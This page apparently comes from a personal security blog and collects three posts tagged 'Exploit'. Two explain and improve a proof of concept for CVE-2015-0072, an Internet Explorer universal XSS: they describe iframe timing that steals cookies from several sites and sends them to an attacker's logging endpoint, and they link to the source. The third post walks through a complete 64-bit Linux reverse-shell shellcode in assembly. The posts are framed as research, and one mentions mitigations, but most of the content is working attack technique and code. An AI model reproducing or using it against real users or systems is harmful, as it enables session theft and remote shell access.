Showing posts with label Exploit. Show all posts
Showing posts with label Exploit. Show all posts

Sunday, February 22, 2015

Improvement of PoC for CVE-2015-0072

In the last post I described the CVE-2015-0072 vulnerability and proposed a PoC for sequentialy stealing cookies from multiple websites. The downside is the required time, which is about 5-7 seconds for each website.

Today I improved the PoC, reducing the time necessary for the exploit to work (about 1 second per website).

EXPLOIT SYNCHRONIZATION

Definitions:
  • if0: iframe sourcing the target websites
  • if1: iframe sourcing a local redirector API and executing the blocking script.
In order for the exploit to work, the following actions must be performed in the correct order:
  1. Execution inside if1 of the blocking script. This is done by executing an eval().
  2. Redirect of the if1 location to the same domain of if0.
  3. Resume of the if1 script and javascript injection into if0 location.
The first PoC (as well as my multi target PoC), solved this synchronization problem by delaying the redirect of t1 > 0, so that the eval() could be performed before the redirect, and by blocking the script for t2 > t1.

IMPROVEMENT: SERVER-SIDE SYNCHRONIZATION

Instead of using sleeps (or timeouts), I tried with a simple server-side synchronization.
Given the following API:
  • /r/:rand/:id - Redirect to the target site id. rand is the internal session identifier.
  • /d/:rand/:id - Delay the execution for the session rand and the target site id. This API is used to implement the blocking script.
  • /l - Log the query parameters (actual cookie stealing).

This solution can be very fast and will allow to steal cookies from various target websites. During my tests, I need to introduce a little sleep of 500ms (d'oh) between the redirect and the return from delay. However compared to the previous 5000 sec, it's a big improvement!

The source code can be found at: https://github.com/dbellavista/uxss-poc

UXSS multiple targets PoC (CVE-2015-0072)

More than twenty days ago, the first PoC for CVE-2015-0072 was released and as of 22 February 2015 it sill affects Internet Explorer 10 and 11 on both Windows 7 and Windows 8.1.

Today I had some free hours and I decided to understand better the exploit and to create a PoC by myself.

CVE DESCRIPTION

Basically the vulnerability allows a javascript code to bypass the Same Origin Policy, by executing a synchronous script on an iframe while redirecting its own location. The steps are the following:

  • Choose the target website (e.g.: http://target.com/).
  • Create an iframe (if0) to sorce to the target website.
  • Create an iframe (if1) sourcing a page from your domain which redirect to the target website after some time (say 2 seconds).
  • Execute from if1 a blocking script that after a longer period of time (say 5 seconds) executes some javascript code inside if0. UPDATE: Javascript must be injected by changing the location of if0, e.g. if0.location="javascript:alert('Injected!');" 
UXSS Exploting

The first PoC[1] implements the blocking operation using the confirm function (requiring user interaction) and modifies the content of the target webpaged (defacement effect). The PoC in [2] uses a synchronous HTTP GET as delay and steals the cookies from the target website.

MULTIPLE TARGETS PoC

To get my hands dirty, I decided to evolve the PoC in [2], by allowing the attacker to retrieve sequentially the cookies from multiple target websites. The source code is available at [4].

The idea is to create an exploit iframe. When loaded, it loads if0 and if1 for a certain target site. By introducing multiple exploit iframes an attacker can effectively retrieve the cookies from multiple domains.

Of course the process is highly ineffective: n * t, where n is the number of targeted sites and t the execution delay (5 seconds in this example). However, if the iframes are loaded after the page content, it's possibile to execute the exploits in "background": the user see the attacker page content, while the iframes do their work.

The major mitigation against CVE-2015-0072) is to set the HTTP header x-frame-option: DENY. However, as explained in [3], it doesn't protect the website from reading cookies! The only mitigation is to set HttpOnly option and to invalidate the session cookie when the IP address changes.

REFERENCES

  • [1] First PoC: http://www.deusen.co.uk/items/insider3show.3362009741042107/
  • [2] Advanced PoC: http://packetstormsecurity.com/files/130308/Microsoft-Internet-Explorer-Universal-XSS-Proof-Of-Concept.html
  • [3] Defence analysis: http://sijmen.ruwhof.net/weblog/427-mitigations-against-critical-universal-cross-site-scripting-vulnerability-in-fully-patched-internet-explorer-10-and-11
  • [4] My PoC: https://github.com/dbellavista/uxss-poc

Sunday, January 6, 2013

A 64 bits reverse shellcode

More bits equals more fun!
I'm sure a similar approach is possible also in 32 bit mode, but as the sacred linux man says: 
"Only standard library implementors and kernel hackers need to know about socketcall()".

Technically, in this very moment, we are not kernel hackers, so let's use 64 bits syscalls socket() and connect().

0. Introduction

The desired behaviour of a  reverse shellcode is:
  1. Create a socket using tcp/udp or you favourite kernel-supported protocol.
  2. Connect to your server.
  3. Duplicate the socket file descriptor into the standard input and standard output one's.
  4. Exec a shell.

1. sys_socket(int domain, int type, int protocol) -- 41

Using man and header files <bits/socket.h> and <bits/socket_type.h>, we can easily determine the parameters: 
  • domain: AF_INET = PF_INET = 2
  • type: SOCK_STREAM = 1
  • protocol: 0
The return value is the file descriptor.

 ; asmlinkage long sys_socket(int domain, int type, int protocol);  
 mov rdi, 2 ; AF_INET => PF_INET => 2 ;;; /usr/include/bits/socket.h  
 mov rsi, 1 ; SOCK_STREAM => 1 ;;; /usr/include/bits/socket_type.h  
 mov rdx, 0  
 mov rax, 41  
 syscall  
 ; now rax contains the fd  

2. sys_connect(int fd, struct sockaddr user *, int addrlen) -- 42

The boring part consists in manually define the sockaddr_in structure:


 struct sockaddr_in {  
   short      sin_family;  // AF_INET (2)
   unsigned short  sin_port; // in network byte order (htons())  
   struct in_addr  sin_addr; // As 32 bit  
   char       sin_zero[8];  
 };  


Example for connection to 127.0.0.1:1234


 sockaddr db 2,0,0x04,0xd2,0x7f,0x00,0x00,0x01,0,0,0,0,0,0,0,0  

Using the new shiny relative IP addressing, we can easly write the asm code:


 ; asmlinkage long sys_connect(int fd, struct sockaddr __user *, int addrlen);  
 mov rdi, rax ; fd  
 lea rsi, [rel sockaddr] ; Socket address inet  
 mov rdx, 16 ; sock_addr_in size  
 mov rax, 42  
 syscall  


3. sys_dup2(unsigned int oldfd, unsigned int newfd) -- 33

"Crepi l'avarizia!" We'll duplicate stdin, stdout and stderr.

 ; asmlinkage long sys_dup2(unsigned int oldfd, unsigned int newfd);  
 ; check if rdi contains the fd  
 mov rsi, 2 ; stderr  
 mov rax, 33  
 syscall  
 mov rsi, 1 ; stdout  
 mov rax, 33  
 syscall  
 mov rsi, 0 ; stdin  
 mov rax, 33  
 syscall  


4. kernel_execve(const char *filename, const char *const argv[], const char *const envp[]) -- 59

The final step is to execute a shell:


 ; int kernel_execve(const char *filename, const char *const argv[], const char *const envp[]);  
 lea rdi, [rel filename]  
 lea rsi, [rel args]  
 mov rdx, 0  
 mov [rel args], rdi  
 mov [rel args+8], rdx  
 mov rax, 59  
 syscall  
 filename db '/bin/bash',0  
 args times 2 dq 1  ; nasm syntax



5. Conclusions

If the shellcode has to be injected as string, a zero-byte elimination process must be performed, but it's quite straightforward.

Due to the high number of the syscalls needed,  the shellcode is really big and maybe of difficult usage, but of couse it's all for academic purposes.